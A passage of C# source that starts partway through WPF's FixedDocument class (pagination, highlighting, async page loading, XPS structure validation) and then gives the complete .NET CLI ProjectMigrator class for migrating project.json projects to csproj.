the logical parent chain to find the containing page FixedPage fixedPage = null; int pageIndex = -1; if (element != this) { DependencyObject el = element; while (el != null) { fixedPage = el as FixedPage; if (fixedPage != null) { pageIndex = GetIndexOfPage(fixedPage); if (pageIndex >= 0) { break; } el = fixedPage.Parent; } else { el = LogicalTreeHelper.GetParent(el); } } } else if (this.Pages.Count > 0) { // if FixedDocument is requested, return ContentPosition for the first page. pageIndex = 0; } // get FixedTextPointer for element or page index FixedTextPointer fixedTextPointer = null; if (pageIndex >= 0) { FixedPosition fixedPosition; FlowPosition flowPosition=null; System.Windows.Shapes.Path p = element as System.Windows.Shapes.Path; if (element is Glyphs || element is Image || (p != null && p.Fill is ImageBrush)) { fixedPosition = new FixedPosition(fixedPage.CreateFixedNode(pageIndex, (UIElement)element), 0); flowPosition = FixedContainer.FixedTextBuilder.CreateFlowPosition(fixedPosition); } if (flowPosition == null) { flowPosition = FixedContainer.FixedTextBuilder.GetPageStartFlowPosition(pageIndex); } fixedTextPointer = new FixedTextPointer(true, LogicalDirection.Forward, flowPosition); } return (fixedTextPointer != null) ? fixedTextPointer : ContentPosition.Missing; } /// <summary> /// <see cref="DynamicDocumentPaginator.GetPagePosition"/> /// </summary> internal ContentPosition GetPagePosition(DocumentPage page) { FixedDocumentPage docPage = page as FixedDocumentPage; if (docPage == null) { return ContentPosition.Missing; } return docPage.ContentPosition; } /// <summary> /// <see cref="System.Windows.Documents.DocumentPaginator.IsPageCountValid"/> /// </summary> internal bool IsPageCountValid { get { return this.IsInitialized; } } /// <summary> /// <see cref="System.Windows.Documents.DocumentPaginator.PageCount"/> /// </summary> internal int PageCount { get { return Pages.Count; } } /// <summary> /// <see cref="System.Windows.Documents.DocumentPaginator.PageSize"/> /// </summary> internal Size PageSize { get { return new Size(_pageWidth, _pageHeight); } set { _pageWidth = value.Width; _pageHeight = value.Height; } } internal bool HasExplicitStructure { get { return _hasExplicitStructure; } } #endregion Document Overrides //-------------------------------------------------------------- ------ // // Public Properties // //--------------------------------------------------------------------- #region Public Properties /// <summary> /// Get a collection of PageContent that this FixedDocument contains. /// </summary> [DesignerSerializationVisibilityAttribute(DesignerSerializationVisibility.Content)] public PageContentCollection Pages { get { return _pages; } } /// <summary> /// /// </summary> public static readonly DependencyProperty PrintTicketProperty = DependencyProperty.RegisterAttached("PrintTicket", typeof(object), typeof(FixedDocument), new FrameworkPropertyMetadata((object)null)); /// <summary> /// Get/Set PrintTicket Property /// </summary> public object PrintTicket { get { object printTicket = GetValue(PrintTicketProperty); return printTicket; } set { SetValue(PrintTicketProperty,value); } } #endregion Public Properties //-------------------------------------------------------------------- // // Protected Methods // //--------------------------------------------------------------------- #region Protected Methods /// <summary> /// Creates AutomationPeer (<see cref="ContentElement.OnCreateAutomationPeer"/>) /// </summary> protected override AutomationPeer OnCreateAutomationPeer() { return new DocumentAutomationPeer(this); } #endregion Protected Methods //-------------------------------------------------------------------- // // Internal Methods // //--------------------------------------------------------------------- #region Internal Methods internal int GetIndexOfPage(FixedPage p) { PageContentCollection pc = this.Pages; for (int i = 0, n = pc.Count; i < n; i++) { if (pc[i].IsOwnerOf(p)) { return i; } } return -1; } internal bool IsValidPageIndex(int index) { return (index >= 0 && index < this.Pages.Count); } // Check index before trying to load page internal FixedPage SyncGetPageWithCheck(int index) { if (IsValidPageIndex(index)) { return SyncGetPage(index, false /*forceReload*/); } DocumentsTrace.FixedFormat.FixedDocument.Trace(string.Format("SyncGetPageWithCheck {0} is invalid page", index)); return null; } // Assumes index is valid internal FixedPage SyncGetPage(int index, bool forceReload) { DocumentsTrace.FixedFormat.FixedDocument.Trace(string.Format("SyncGetPage {0}", index)); Debug.Assert(IsValidPageIndex(index)); PageContentCollection pc = this.Pages; FixedPage fp; try { fp = (FixedPage)pc[index].GetPageRoot(forceReload); } catch (Exception e) { if (e is InvalidOperationException || e is ApplicationException) { ApplicationException ae = new ApplicationException(string.Format(System.Globalization.CultureInfo.CurrentCulture, SR.Get(SRID.ExceptionInGetPage), index), e); throw ae; } else { throw; } } return fp; } /// <summary> /// Callback when a new PageContent is added /// </summary> internal void OnPageContentAppended(int index) { FixedContainer.FixedTextBuilder.AddVirtualPage(); _paginator.NotifyPaginationProgress(new PaginationProgressEventArgs(index, 1)); if (this.IsInitialized) { _paginator.NotifyPagesChanged(new PagesChangedEventArgs(index, 1)); } } // // Make sure page has its width and height. // If absoluteOnly is specified, it will overwrite relative size specified // on page with default page size. // internal void EnsurePageSize(FixedPage fp) { Debug.Assert(fp != null); double width = fp.Width; if (DoubleUtil.IsNaN(width)) { fp.Width = _pageWidth; } double height = fp.Height; if (DoubleUtil.IsNaN(height)) { fp.Height = _pageHeight; } } // Note: This code is specifically written for PageViewer. // Once PageViewer get away from inquring page size before // displaying page, we should remove this function. internal bool GetPageSize(ref Size pageSize, int pageNumber) { DocumentsTrace.FixedFormat.FixedDocument.Trace(string.Format("GetPageSize {0}", pageNumber)); if (pageNumber < Pages.Count) { // NOTE: it is wrong to call this method when page is outstanding. // Unfortunately PageViewer + DocumentPaginator still is dependent on // PageSize, so have to avoid throwing exception in this situation. FixedPage p = null; if (!_pendingPages.Contains(Pages[pageNumber])) { p = SyncGetPage(pageNumber, false /*forceReload*/); } #if DEBUG else { DocumentsTrace.FixedFormat.FixedDocument.Trace(string.Format("====== GetPageSize {0} Warning [....] call made while async outstanding =====", pageNumber)); } #endif // ComputePageSize will return appropriate value for null page pageSize = ComputePageSize(p); return true; } return false; } // // Get absolute page size. If relative page size is specified // in the page, it will be overwritten by default page size, // which is absolute size. // internal Size ComputePageSize(FixedPage fp) { if (fp == null) { return new Size(_pageWidth, _pageHeight); } EnsurePageSize(fp); return new Size(fp.Width, fp.Height); } #endregion Internal Methods //-------------------------------------------------------------------- // // Internal Properties // //--------------------------------------------------------------------- #region Internal Properties // expose the hosted FixedContainer internal FixedTextContainer FixedContainer { get { if (_fixedTextContainer == null) { _fixedTextContainer = new FixedTextContainer(this); _fixedTextContainer.Highlights.Changed += new HighlightChangedEventHandler(OnHighlightChanged); } return _fixedTextContainer; } } internal Dictionary<FixedPage, ArrayList> Highlights { get { return _highlights; } } internal DocumentReference DocumentReference { get { return _documentReference; } set { _documentReference = value; } } #endregion Internal Properties //-------------------------------------------------------------------- // // Private Methods // //--------------------------------------------------------------------- #region Private Methods //--------------------------------------- // Initialization //--------------------------------------- private void _Init() { _paginator = new FixedDocumentPaginator(this); _pages = new PageContentCollection(this); _highlights = new Dictionary<FixedPage, ArrayList>(); _asyncOps = new Dictionary<Object, GetPageAsyncRequest>(); _pendingPages = new List<PageContent>(); _hasExplicitStructure = false; this.Initialized += new EventHandler(OnInitialized); } private void OnInitialized(object sender, EventArgs e) { if (_navigateAfterPagination) { FixedHyperLink.NavigateToElement(this, _navigateFragment); _navigateAfterPagination = false; } //Currently we don't load the DocumentStructure part //At least we need to validate if it's there ValidateDocStructure(); if (PageCount > 0) { DocumentPage docPage = GetPage(0); if (docPage != null) { FixedPage page = docPage.Visual as FixedPage; if (page != null) { this.Language = page.Language; } } } _paginator.NotifyPaginationCompleted(e); } internal void ValidateDocStructure() { Uri baseUri = BaseUriHelper.GetBaseUri(this); if (baseUri.Scheme.Equals(PackUriHelper.UriSchemePack, StringComparison.OrdinalIgnoreCase)) { // avoid the case of pack://application,,, if (baseUri.Host.Equals(BaseUriHelper.PackAppBaseUri.Host) != true && baseUri.Host.Equals(BaseUriHelper.SiteOfOriginBaseUri.Host) != true) { Uri structureUri = GetStructureUriFromRelationship(baseUri, _structureRelationshipName); if (structureUri != null) { ContentType mimeType; ValidateAndLoadPartFromAbsoluteUri(structureUri, true, "DocumentStructure", out mimeType); if (!_documentStructureContentType.AreTypeAndSubTypeEqual(mimeType)) { throw new FileFormatException(SR.Get(SRID.InvalidDSContentType)); } _hasExplicitStructure = true; } } } } internal static StoryFragments GetStoryFragments(FixedPage fixedPage) { object o = null; Uri baseUri = BaseUriHelper.GetBaseUri(fixedPage); if (baseUri.Scheme.Equals(PackUriHelper.UriSchemePack, StringComparison.OrdinalIgnoreCase)) { // avoid the case of pack://application,,, if (baseUri.Host.Equals(BaseUriHelper.PackAppBaseUri.Host) != true && baseUri.Host.Equals(BaseUriHelper.SiteOfOriginBaseUri.Host) != true) { Uri structureUri = GetStructureUriFromRelationship(baseUri, _storyFragmentsRelationshipName); if (structureUri != null) { ContentType mimeType; o = ValidateAndLoadPartFromAbsoluteUri(structureUri, false, null, out mimeType); if (!_storyFragmentsContentType.AreTypeAndSubTypeEqual(mimeType)) { throw new FileFormatException(SR.Get(SRID.InvalidSFContentType)); } if (!(o is StoryFragments)) { throw new FileFormatException(SR.Get(SRID.InvalidStoryFragmentsMarkup)); } } } } return o as StoryFragments; } private static object ValidateAndLoadPartFromAbsoluteUri(Uri AbsoluteUriDoc, bool validateOnly, string rootElement, out ContentType mimeType) { mimeType = null; Stream pageStream = null; object o = null; try { pageStream = WpfWebRequestHelper.CreateRequestAndGetResponseStream(AbsoluteUriDoc, out mimeType); ParserContext pc = new ParserContext(); pc.BaseUri = AbsoluteUriDoc; XpsValidatingLoader loader = new XpsValidatingLoader(); if (validateOnly) { loader.Validate(pageStream, null, pc, mimeType, rootElement); } else { o = loader.Load(pageStream, null, pc, mimeType); } } catch (Exception e) { //System.Net.WebException will be thrown when the document structure does not exist in a non-container //and System.InvalidOperation will be thrown when calling Package.GetPart() in a container. //We ignore these but all others need to be rethrown if (!(e is System.Net.WebException || e is System.InvalidOperationException)) { throw; } } return o; } /// <summary> /// Retrieves the Uri for the DocumentStructure from the container's relationship /// </summary> /// <SecurityNote> /// Critical: Accesses a package from PreloadedPackages /// SecurityTreatAsSafe: No package instance or package related objects being handed out /// from this method /// </SecurityNote> [SecurityCritical, SecurityTreatAsSafe] static private Uri GetStructureUriFromRelationship(Uri contentUri, string relationshipName) { Uri absTargetUri = null; if (contentUri != null && relationshipName != null) { Uri partUri = PackUriHelper.GetPartUri(contentUri); if (partUri != null) { Uri packageUri = PackUriHelper.GetPackageUri(contentUri); Package package = PreloadedPackages.GetPackage(packageUri); if (package == null) { if (SecurityHelper.CheckEnvironmentPermission()) { package = PackageStore.GetPackage(packageUri); } } if (package != null) { PackagePart part = package.GetPart(partUri); PackageRelationshipCollection resources = part.GetRelationshipsByType(relationshipName); Uri targetUri = null; foreach (PackageRelationship relationShip in resources) { targetUri = PackUriHelper.ResolvePartUri(partUri, relationShip.TargetUri); } if (targetUri != null) { absTargetUri = PackUriHelper.Create(packageUri, targetUri); } } } } return absTargetUri; } private void OnPageLoaded(object sender, EventArgs e) { PageContent pc = (PageContent)sender; if (pc == _partialPage) { DocumentsTrace.FixedFormat.FixedDocument.Trace(string.Format("Loaded Page {0}", _pages.Count)); _partialPage.Initialized -= new EventHandler(OnPageLoaded); _pages.Add(_partialPage); _partialPage = null; } } internal FixedPage GetFixedPage(int pageNumber) { FixedPage fp = null; FixedDocumentPage fdp = GetPage(pageNumber) as FixedDocumentPage; if (fdp != null && fdp != DocumentPage.Missing) { fp = fdp.FixedPage; } return fp; } //--------------------------------------- // Text Editing //--------------------------------------- private void OnHighlightChanged(object sender, HighlightChangedEventArgs args) { Debug.Assert(sender != null); Debug.Assert(args != null); Debug.Assert(args.Ranges != null); DocumentsTrace.FixedTextOM.Highlight.Trace(string.Format("HightlightMoved From {0}-{1} To {2}-{3}",0, 0, 0, 0)); Debug.Assert(args.Ranges.Count > 0 && ((TextSegment)args.Ranges[0]).Start.CompareTo(((TextSegment)args.Ranges[0]).End) < 0); // // Add new highlights, if any ITextContainer tc = this.FixedContainer; Highlights highlights = null; // If this document is part of a FixedDocumentSequence, we should use // the highlights that have been set on the sequence. FixedDocumentSequence parent = this.Parent as FixedDocumentSequence; if (parent != null) highlights = parent.TextContainer.Highlights; else highlights = this.FixedContainer.Highlights; StaticTextPointer highlightTransitionPosition; StaticTextPointer highlightRangeStart; object selected; //Find out if any highlights have been removed. We need to invalidate those pages List<FixedPage> oldHighlightPages = new List<FixedPage>(); foreach (FixedPage page in _highlights.Keys) { oldHighlightPages.Add(page); } _highlights.Clear(); highlightTransitionPosition = tc.CreateStaticPointerAtOffset(0); while (true) { // Move to the next highlight start. if (!highlights.IsContentHighlighted(highlightTransitionPosition, LogicalDirection.Forward)) { highlightTransitionPosition = highlights.GetNextHighlightChangePosition(highlightTransitionPosition, LogicalDirection.Forward); // No more highlights? if (highlightTransitionPosition.IsNull) break; } // highlightTransitionPosition is at the start of a new highlight run. // Get the highlight data. // NB: this code only recognizes typeof(TextSelection) + AnnotationHighlight. // We should add code here to handle other properties: foreground/background/etc. selected = highlights.GetHighlightValue(highlightTransitionPosition, LogicalDirection.Forward, typeof(TextSelection)); // Save the start position and find the end. highlightRangeStart = highlightTransitionPosition; //placeholder for highlight type FixedHighlightType fixedHighlightType = FixedHighlightType.None; Brush foreground = null; Brush background = null; // Store the highlight. if (selected != DependencyProperty.UnsetValue) { //find next TextSelection change. //This is to skip AnnotationHighlight //change positions, since Annotation Highlight is invisible under TextSelection do { highlightTransitionPosition = highlights.GetNextHighlightChangePosition(highlightTransitionPosition, LogicalDirection.Forward); Debug.Assert(!highlightTransitionPosition.IsNull, "Highlight start not followed by highlight end!"); } while (highlights.GetHighlightValue(highlightTransitionPosition, LogicalDirection.Forward, typeof(TextSelection)) != DependencyProperty.UnsetValue); fixedHighlightType = FixedHighlightType.TextSelection; foreground = null; background = null; } else { //look for annotation highlight AnnotationHighlightLayer.HighlightSegment highlightSegment = highlights.GetHighlightValue(highlightRangeStart, LogicalDirection.Forward, typeof(HighlightComponent)) as AnnotationHighlightLayer.HighlightSegment; if (highlightSegment != null) { //this is a visible annotation highlight highlightTransitionPosition = highlights.GetNextHighlightChangePosition(highlightTransitionPosition, LogicalDirection.Forward); Debug.Assert(!highlightTransitionPosition.IsNull, "Highlight start not followed by highlight end!"); fixedHighlightType = FixedHighlightType.AnnotationHighlight; background = highlightSegment.Fill; } } //generate fixed highlight if a highlight was has been found if (fixedHighlightType != FixedHighlightType.None) { this.FixedContainer.GetMultiHighlights((FixedTextPointer)highlightRangeStart.CreateDynamicTextPointer(LogicalDirection.Forward), (FixedTextPointer)highlightTransitionPosition.CreateDynamicTextPointer(LogicalDirection.Forward), _highlights, fixedHighlightType, foreground, background); } } ArrayList dirtyPages = new ArrayList(); IList ranges = args.Ranges; // Find the dirty page for (int i = 0; i < ranges.Count; i++) { TextSegment textSegment = (TextSegment)ranges[i]; int startPage = this.FixedContainer.GetPageNumber(textSegment.Start); int endPage = this.FixedContainer.GetPageNumber(textSegment.End); for (int count = startPage; count <= endPage; count ++) { if (dirtyPages.IndexOf(count) < 0) { dirtyPages.Add(count); } } } ICollection<FixedPage> newHighlightPages = _highlights.Keys as ICollection<FixedPage>; //Also dirty the pages that had highlights before but not anymore foreach (FixedPage page in oldHighlightPages) { if (!newHighlightPages.Contains(page)) { int pageNo = GetIndexOfPage(page); Debug.Assert(pageNo >= 0 && pageNo<PageCount); if (pageNo >=0 && pageNo < PageCount && dirtyPages.IndexOf(pageNo) < 0) { dirtyPages.Add(pageNo); } } } dirtyPages.Sort(); foreach (int i in dirtyPages) { HighlightVisual hv = HighlightVisual.GetHighlightVisual(SyncGetPage(i, false /*forceReload*/)); if (hv != null) { hv.InvalidateHighlights(); } } } //--------------------------------------- // IDP //--------------------------------------- private object GetPageAsyncDelegate(object arg) { GetPageAsyncRequest asyncRequest = (GetPageAsyncRequest)arg; PageContent pc = asyncRequest.PageContent; DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDP.GetPageAsyncDelegate {0}", Pages.IndexOf(pc))); // Initiate request for page if necessary if (!_pendingPages.Contains(pc)) { _pendingPages.Add(pc); // Initiate an async loading of the page pc.GetPageRootCompleted += new GetPageRootCompletedEventHandler(OnGetPageRootCompleted); pc.GetPageRootAsync(false /*forceReload*/); if (asyncRequest.Cancelled) { pc.GetPageRootAsyncCancel(); } } return null; } private void OnGetPageRootCompleted(object sender, GetPageRootCompletedEventArgs args) { DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDP.OnGetPageRootCompleted {0}", Pages.IndexOf((PageContent)sender))); // Mark this page as no longer pending PageContent pc = (PageContent)sender; pc.GetPageRootCompleted -= new GetPageRootCompletedEventHandler(OnGetPageRootCompleted); _pendingPages.Remove(pc); // Notify all outstanding request for this particular page ArrayList completedRequests = new ArrayList(); IEnumerator<KeyValuePair<Object, GetPageAsyncRequest>> ienum = _asyncOps.GetEnumerator(); try { while (ienum.MoveNext()) { GetPageAsyncRequest asyncRequest = ienum.Current.Value; // Process any outstanding request for this PageContent if (asyncRequest.PageContent == pc) { completedRequests.Add(ienum.Current.Key); DocumentPage result = DocumentPage.Missing; if (!asyncRequest.Cancelled) { // Do synchronous measure since we have obtained the page if (!args.Cancelled && (args.Error == null)) { FixedPage c = (FixedPage)args.Result; Size fixedSize = ComputePageSize(c); // Measure / Arrange in GetVisual override of FixedDocumentPage, not here result = new FixedDocumentPage(this, c, fixedSize, Pages.IndexOf(pc)); } } // this could throw _NotifyGetPageAsyncCompleted(result, asyncRequest.PageNumber, args.Error, asyncRequest.Cancelled, asyncRequest.UserState); } } } finally { // Remove completed requests from current async ops list foreach (Object userState in completedRequests) { _asyncOps.Remove(userState); } } } // Notify the caller of IDFAsync.MeasurePageAsync private void _NotifyGetPageAsyncCompleted(DocumentPage page, int pageNumber, Exception error, bool cancelled, object userState) { DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDP._NotifyGetPageAsyncCompleted {0} {1} {2} {3} {4}", page, pageNumber, error, cancelled, userState)); _paginator.NotifyGetPageCompleted(new GetPageCompletedEventArgs( page, pageNumber, error, cancelled, userState )); } #endregion Private Methods //-------------------------------------------------------------------- // // Private Properties // //--------------------------------------------------------------------- //-------------------------------------------------------------------- // // Private Fields // //--------------------------------------------------------------------- #region Private Fields private IDictionary<Object, GetPageAsyncRequest> _asyncOps; private IList<PageContent> _pendingPages; private PageContentCollection _pages; private PageContent _partialPage; // the current partially loaded page. private Dictionary<FixedPage, ArrayList> _highlights; private double _pageWidth = 8.5 * 96.0d; private double _pageHeight = 11 * 96.0d; // default page size private FixedTextContainer _fixedTextContainer; private RubberbandSelector _rubberbandSelector; private bool _navigateAfterPagination = false ; private string _navigateFragment; private FixedDocumentPaginator _paginator; private DocumentReference _documentReference; private bool _hasExplicitStructure; private const string _structureRelationshipName = "http://schemas.microsoft.com/xps/2005/06/documentstructure"; private const string _storyFragmentsRelationshipName = "http://schemas.microsoft.com/xps/2005/06/storyfragments"; private static readonly ContentType _storyFragmentsContentType = new ContentType("application/vnd.ms-package.xps-storyfragments+xml"); private static readonly ContentType _documentStructureContentType = new ContentType("application/vnd.ms-package.xps-documentstructure+xml"); // Caches the UIElement's DependencyObjectType private static DependencyObjectType UIElementType = DependencyObjectType.FromSystemTypeInternal(typeof(UIElement)); #endregion Private Fields //-------------------------------------------------------------------- // // Nested Class // //--------------------------------------------------------------------- #region Nested Class private class GetPageAsyncRequest { internal GetPageAsyncRequest(PageContent pageContent, int pageNumber, object userState) { PageContent = pageContent; PageNumber = pageNumber; UserState = userState; Cancelled = false; } internal PageContent PageContent; internal int PageNumber; internal object UserState; internal bool Cancelled; } #endregion Nested Class } //===================================================================== // // FixedDocument's implemenation of DocumentPage // internal sealed class FixedDocumentPage : DocumentPage, IServiceProvider { //-------------------------------------------------------------------- // // Ctors // //--------------------------------------------------------------------- #region Ctors internal FixedDocumentPage(FixedDocument panel, FixedPage page, Size fixedSize, int index) : base(page, fixedSize, new Rect(fixedSize), new Rect(fixedSize)) { Debug.Assert(panel != null && page != null); _panel = panel; _page = page; _index = index; } #endregion Ctors; //-------------------------------------------------------------------- // // Public Methods // //--------------------------------------------------------------------- #region IServiceProvider /// <summary> /// Returns service objects associated with this control. /// </summary> /// <remarks> /// FixedDocument currently supports TextView. /// </remarks> /// <param name="serviceType"> /// Specifies the type of service object to get. /// </param> object IServiceProvider.GetService(Type serviceType) { if (serviceType == null) { throw new ArgumentNullException("serviceType"); } if (serviceType == typeof(ITextView)) { return this.TextView; } return null; } #endregion IServiceProvider //-------------------------------------------------------------------- // // Public Methods // //--------------------------------------------------------------------- //-------------------------------------------------------------------- // // Public Properties // //--------------------------------------------------------------------- public override Visual Visual { get { if (!_layedOut) { _layedOut = true; UIElement e; if ((e = ((object)base.Visual) as UIElement)!=null) { e.Measure(base.Size); e.Arrange(new Rect(base.Size)); } } return base.Visual; } } //-------------------------------------------------------------------- // // Internal Properties // //--------------------------------------------------------------------- #region Internal Properties internal ContentPosition ContentPosition { get { FlowPosition flowPosition = _panel.FixedContainer.FixedTextBuilder.GetPageStartFlowPosition(_index); return new FixedTextPointer(true, LogicalDirection.Forward, flowPosition); } } internal FixedPage FixedPage { get { return this._page; } } internal int PageIndex { get { return this._panel.GetIndexOfPage(this._page); } } internal FixedTextView TextView { get { if (_textView == null) { _textView = new FixedTextView(this); } return _textView; } } internal FixedDocument Owner { get { return _panel; } } internal FixedTextContainer TextContainer { get { return this._panel.FixedContainer; } } #endregion Internal Properties //-------------------------------------------------------------------- // // Internal Event // //--------------------------------------------------------------------- //-------------------------------------------------------------------- // // Private Fields // //--------------------------------------------------------------------- #region Private Fields private readonly FixedDocument _panel; private readonly FixedPage _page; private readonly int _index; private bool _layedOut; // Text OM private FixedTextView _textView; #endregion Private Fields } }
// Copyright (c) .NET Foundation and contributors. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Collections.Generic; using System.IO; using System.Linq; using Microsoft.Build.Construction; using Microsoft.DotNet.Internal.ProjectModel; using Microsoft.DotNet.Internal.ProjectModel.Graph; using Microsoft.DotNet.Cli; using Microsoft.DotNet.Cli.Utils.ExceptionExtensions; using Microsoft.DotNet.Cli.Sln.Internal; using Microsoft.DotNet.ProjectJsonMigration.Rules; using Microsoft.DotNet.Tools.Common; namespace Microsoft.DotNet.ProjectJsonMigration { internal class ProjectMigrator { private readonly IMigrationRule _ruleSet; private readonly ProjectDependencyFinder _projectDependencyFinder = new ProjectDependencyFinder(); private HashSet<string> _migratedProjects = new HashSet<string>(); public ProjectMigrator() : this(new DefaultMigrationRuleSet()) { } public ProjectMigrator(IMigrationRule ruleSet) { _ruleSet = ruleSet; } public MigrationReport Migrate(MigrationSettings rootSettings, bool skipProjectReferences = false) { if (rootSettings == null) { throw new ArgumentNullException(); } // Try to read the project dependencies, ignore an unresolved exception for now MigrationRuleInputs rootInputs = ComputeMigrationRuleInputs(rootSettings); IEnumerable<ProjectDependency> projectDependencies = null; var projectMigrationReports = new List<ProjectMigrationReport>(); try { // Verify up front so we can prefer these errors over an unresolved project dependency VerifyInputs(rootInputs, rootSettings); projectMigrationReports.Add(MigrateProject(rootSettings)); if (skipProjectReferences) { return new MigrationReport(projectMigrationReports); } projectDependencies = ResolveTransitiveClosureProjectDependencies( rootSettings.ProjectDirectory, rootSettings.ProjectXProjFilePath, rootSettings.SolutionFile); } catch (MigrationException e) { return new MigrationReport( new List<ProjectMigrationReport> { new ProjectMigrationReport( rootSettings.ProjectDirectory, rootInputs?.DefaultProjectContext?.GetProjectName(), new List<MigrationError> {e.Error}, null) }); } foreach(var project in projectDependencies) { var projectDir = Path.GetDirectoryName(project.ProjectFilePath); var settings = new MigrationSettings(projectDir, projectDir, rootSettings.MSBuildProjectTemplatePath); projectMigrationReports.Add(MigrateProject(settings)); } return new MigrationReport(projectMigrationReports); } private void DeleteProjectJsons(MigrationSettings rootsettings, IEnumerable<ProjectDependency> projectDependencies) { try { File.Delete(Path.Combine(rootsettings.ProjectDirectory, "project.json")); } catch (Exception e) { e.ReportAsWarning(); } foreach (var projectDependency in projectDependencies) { try { File.Delete(projectDependency.ProjectFilePath); } catch (Exception e) { e.ReportAsWarning(); } } } private IEnumerable<ProjectDependency> ResolveTransitiveClosureProjectDependencies( string rootProject, string xprojFile, SlnFile solutionFile) { HashSet<ProjectDependency> projectsMap = new HashSet<ProjectDependency>(new ProjectDependencyComparer()); var projectDependencies = _projectDependencyFinder.ResolveProjectDependencies(rootProject, xprojFile, solutionFile); Queue<ProjectDependency> projectsQueue = new Queue<ProjectDependency>(projectDependencies); while (projectsQueue.Count() != 0) { var projectDependency = projectsQueue.Dequeue(); if (projectsMap.Contains(projectDependency)) { continue; } projectsMap.Add(projectDependency); var projectDir = Path.GetDirectoryName(projectDependency.ProjectFilePath); projectDependencies = _projectDependencyFinder.ResolveProjectDependencies(projectDir); foreach (var project in projectDependencies) { projectsQueue.Enqueue(project); } } return projectsMap; } private ProjectMigrationReport MigrateProject(MigrationSettings migrationSettings) { var migrationRuleInputs = ComputeMigrationRuleInputs(migrationSettings); var projectName = migrationRuleInputs.DefaultProjectContext.GetProjectName(); var outputProject = Path.Combine(migrationSettings.OutputDirectory, projectName + ".csproj"); try { if (File.Exists(outputProject)) { if (_migratedProjects.Contains(outputProject)) { MigrationTrace.Instance.WriteLine(String.Format( LocalizableStrings.SkipMigrationAlreadyMigrated, nameof(ProjectMigrator), migrationSettings.ProjectDirectory)); return new ProjectMigrationReport( migrationSettings.ProjectDirectory, projectName, skipped: true); } else { MigrationBackupPlan.RenameCsprojFromMigrationOutputNameToTempName(outputProject); } } VerifyInputs(migrationRuleInputs, migrationSettings); SetupOutputDirectory(migrationSettings.ProjectDirectory, migrationSettings.OutputDirectory); _ruleSet.Apply(migrationSettings, migrationRuleInputs); } catch (MigrationException exc) { var error = new List<MigrationError> { exc.Error }; return new ProjectMigrationReport(migrationSettings.ProjectDirectory, projectName, error, null); } List<string> csprojDependencies = null; if (migrationRuleInputs.ProjectXproj != null) { var projectDependencyFinder = new ProjectDependencyFinder(); var dependencies = projectDependencyFinder.ResolveXProjProjectDependencies( migrationRuleInputs.ProjectXproj); if (dependencies.Any()) { csprojDependencies = dependencies .SelectMany(r => r.Includes().Select(p => PathUtility.GetPathWithDirectorySeparator(p))) .ToList(); } else { csprojDependencies = new List<string>(); } } _migratedProjects.Add(outputProject); return new ProjectMigrationReport( migrationSettings.ProjectDirectory, projectName, outputProject, null, null, csprojDependencies); } private MigrationRuleInputs ComputeMigrationRuleInputs(MigrationSettings migrationSettings) { var projectContexts = ProjectContext.CreateContextForEachFramework(migrationSettings.ProjectDirectory); var xprojFile = migrationSettings.ProjectXProjFilePath ?? _projectDependencyFinder.FindXprojFile(migrationSettings.ProjectDirectory); ProjectRootElement xproj = null; if (xprojFile != null) { xproj = ProjectRootElement.Open(xprojFile); } var templateMSBuildProject = migrationSettings.MSBuildProjectTemplate; if (templateMSBuildProject == null) { throw new Exception(LocalizableStrings.NullMSBuildProjectTemplateError); } var propertyGroup = templateMSBuildProject.AddPropertyGroup(); var itemGroup = templateMSBuildProject.AddItemGroup(); return new MigrationRuleInputs(projectContexts, templateMSBuildProject, itemGroup, propertyGroup, xproj); } private void VerifyInputs(MigrationRuleInputs migrationRuleInputs, MigrationSettings migrationSettings) { VerifyProject(migrationRuleInputs.ProjectContexts, migrationSettings.ProjectDirectory); } private void VerifyProject(IEnumerable<ProjectContext> projectContexts, string projectDirectory) { if (!projectContexts.Any()) { MigrationErrorCodes.MIGRATE1013(String.Format(LocalizableStrings.MIGRATE1013Arg, projectDirectory)).Throw(); } var defaultProjectContext = projectContexts.First(); var diagnostics = defaultProjectContext.ProjectFile.Diagnostics; if (diagnostics.Any()) { MigrationErrorCodes.MIGRATE1011( String.Format("{0}{1}{2}", projectDirectory, Environment.NewLine, string.Join(Environment.NewLine, diagnostics.Select(d => FormatDiagnosticMessage(d))))) .Throw(); } var compilerName = defaultProjectContext.ProjectFile.GetCompilerOptions(defaultProjectContext.TargetFramework, "_") .CompilerName; if (!compilerName.Equals("csc", StringComparison.OrdinalIgnoreCase)) { MigrationErrorCodes.MIGRATE20013( String.Format(LocalizableStrings.CannotMigrateProjectWithCompilerError, defaultProjectContext.ProjectFile.ProjectFilePath, compilerName)).Throw(); } } private string FormatDiagnosticMessage(DiagnosticMessage d) { return String.Format(LocalizableStrings.DiagnosticMessageTemplate, d.Message, d.StartLine, d.SourceFilePath); } private void SetupOutputDirectory(string projectDirectory, string outputDirectory) { if (!Directory.Exists(outputDirectory)) { Directory.CreateDirectory(outputDirectory); } if (projectDirectory != outputDirectory) { CopyProjectToOutputDirectory(projectDirectory, outputDirectory); } } private void CopyProjectToOutputDirectory(string projectDirectory, string outputDirectory) { var sourceFilePaths = Directory.EnumerateFiles(projectDirectory, "*", SearchOption.AllDirectories); foreach (var sourceFilePath in sourceFilePaths) { var relativeFilePath = PathUtility.GetRelativePath(projectDirectory, sourceFilePath); var destinationFilePath = Path.Combine(outputDirectory, relativeFilePath); var destinationDirectory = Path.GetDirectoryName(destinationFilePath); if (!Directory.Exists(destinationDirectory)) { Directory.CreateDirectory(destinationDirectory); } File.Copy(sourceFilePath, destinationFilePath); } } } }
